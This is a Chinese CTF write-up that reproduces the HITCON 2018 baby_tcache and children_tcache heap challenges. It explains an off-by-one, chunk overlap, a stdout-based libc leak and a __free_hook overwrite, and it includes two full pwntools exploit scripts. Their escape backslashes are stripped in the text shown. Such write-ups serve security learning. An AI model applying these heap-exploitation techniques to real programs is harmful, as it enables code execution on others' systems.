比赛的时候没做出来,赛后对着Angelboy师傅的wp复现了一下,在这里给大家介绍一下主要思路.
babytcache
程序有一个NULL byte off by one漏洞,可以覆盖下一个堆块的size一个字节
先new三个堆块,再new 7个0xf0大小的堆块,然后free掉,好让堆块0落入unsorted bin中
new(0xf0,'an') #0 new(0x200,'an') #1 new(0xf0,'an')#2 for _ in range(7): new(0xf0,'an') for i in range(3,10): free(i) free(0)
然后就是off by one,把2号堆块的size从0x101覆盖成0x100,然后free掉
free(1) new(0x208,'a'*0x200+p64(0x310)) #index 0 原先的1号 free(2) free(0)
此时堆块情况如下图
由于我们伪造的pre_size, chunk overlapping
8号与9号堆块均指向之前的2号堆快,此时堆中有残留的指针,我们使fd指向stdout->_flag //只需要爆破4bit
for _ in range(7): new(0xf0,'an') new(0xf0,'n') #index 7 new(0x100,'x60x57') #index 8 from unsortedbin new(0x200,'n') #index 9 from tcache
再次new时,我们可以改写stdout的内容
new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0 print hex(libc_base)
可以看见puts会调用_IO_new_file_xsputn,然后调用_IO_OVERFLOW
size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { ... if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass { ... } ... if (to_do + must_flush > 0) { size_t block_size, do_write; if (_IO_OVERFLOW (f, EOF) == EOF) return to_do == 0 ? EOF : n - to_do; ... }
_IO_new_file_overflow最后调用_IO_do_write将_IO_write_base上的内容输出,通过partial overwrite,将_IO_write_base指向特定区域,从而泄漏libc地址
int _IO_new_file_overflow (FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { ... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); }
最后one_gadget 写free_hook get shell
one_gadget=libc_base+0x4f322 free_hook=libc_base+libc.symbols['__free_hook'] free(8) free(9) free(1) free(2) free(3) free(4) new(0x100,p64(free_hook)) new(0x100,"pwnn") new(0x100,p64(one_gadget)) free(1) sh.interactive()
exp
from pwn import * sh=process("./baby_tcache") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") context.log_level="debug" def new(size,content): sh.recvuntil("Your choice: ") sh.sendline("1") sh.recvuntil("Size:") sh.sendline(str(size)) sh.recvuntil("Data:") sh.send(content) def free(index): sh.recvuntil("Your choice: ") sh.sendline("2") sh.recvuntil("Index:") sh.sendline(str(index)) gdb.attach(sh) new(0xf0,'an') #0 new(0x200,'an') #1 new(0xf0,'an')#2 for _ in range(7): new(0xf0,'an') for i in range(3,10): free(i) free(0) free(1) new(0x208,'a'*0x200+p64(0x310)) #index 0 free(2) free(0) for _ in range(7): new(0xf0,'an') new(0xf0,p64(0)+'c') #index 7 new(0x100,'x60x57') #index 8 from unsortedbin new(0x200,'n') #index 9 from tcache free(0) new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0 print hex(libc_base) one_gadget=libc_base+0x4f322 free_hook=libc_base+libc.symbols['__free_hook'] free(8) free(9) free(1) free(2) free(3) free(4) new(0x100,p64(free_hook)) new(0x100,"pwnn") new(0x100,p64(one_gadget)) free(1) sh.interactive()
佩服Angelboy师傅,太强了
参考
https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/baby_tcache.py
children tcache
这题比较简单
前面的步骤与babytcache大同小异,chunk overlapping
new(0x100,'an') #0 new(0x200,'an') #1 new(0xf0,'an')#2 for _ in range(7): new(0xf0,'an') for i in range(3,10): free(i) for _ in range(7): new(0x100,'an') for i in range(3,10): free(i) free(0) free(1) new(0x208,'a'*0x208) #index 0 free(0) new(0x207,'a'*0x207) #index 0 free(0) new(0x206,'a'*0x206) free(0) new(0x205,'a'*0x205) free(0) new(0x204,'a'*0x204) free(0) new(0x203,'a'*0x203) free(0) new(0x202,'a'*0x200+'x20x03') #index 0 free(2) free(0)
8号,9号指向的均为同一堆块,释放掉堆块,可以打印unsortedbin 的fd,泄露出libc的地址
new(0x100,'n') #index 7 new(0x100,'x00') #index 8 new(0x200,'x00') #index 9 for i in range(7): free(i) free(8) leak(9) libc_base=u64(sh.recv(6)+'x00x00')-4111520 print hex(libc_base)
最后one_gadget写free_hook getshell
new(0x300,'an') #index 8 free(9) free(8) new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8 new(0x300,'haha') #index 9 free(0) free(1) one_gadget=libc_base+0x4f322 new(0x300,p64(one_gadget)) free(2) sh.interactive()
exp
from pwn import * libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") sh=process("./children_tcache") #sh=remote("52.68.236.186",56746) context.log_level="debug" def new(size,content): sh.recvuntil("Your choice: ") sh.sendline("1") sh.recvuntil("Size:") sh.sendline(str(size)) sh.recvuntil("Data:") sh.send(content) def free(index): sh.recvuntil("Your choice: ") sh.sendline("3") sh.recvuntil("Index:") sh.sendline(str(index)) def leak(index): sh.recvuntil("Your choice: ") sh.sendline("2") sh.recvuntil("Index:") sh.sendline(str(index)) gdb.attach(sh) new(0x100,'an') #0 new(0x200,'an') #1 new(0xf0,'an')#2 for _ in range(7): new(0xf0,'an') for i in range(3,10): free(i) for _ in range(7): new(0x100,'an') for i in range(3,10): free(i) free(0) free(1) new(0x208,'a'*0x208) #index 0 free(0) new(0x207,'a'*0x207) #index 0 free(0) new(0x206,'a'*0x206) free(0) new(0x205,'a'*0x205) free(0) new(0x204,'a'*0x204) free(0) new(0x203,'a'*0x203) free(0) new(0x202,'a'*0x200+'x20x03') #index 0 free(2) free(0) for _ in range(7): new(0x100,'an') new(0x100,'n') #index 7 new(0x100,'x00') #index 8 new(0x200,'x00') #index 9 for i in range(7): free(i) free(8) leak(9) libc_base=u64(sh.recv(6)+'x00x00')-4111520 print hex(libc_base) for _ in range(7): new(0x100,'an') new(0x300,'an') #index 8 free(9) free(8) new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8 new(0x300,'haha') #index 9 free(0) free(1) one_gadget=libc_base+0x4f322 new(0x300,p64(one_gadget)) free(2) sh.interactive()
参考
https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/children_tcache.py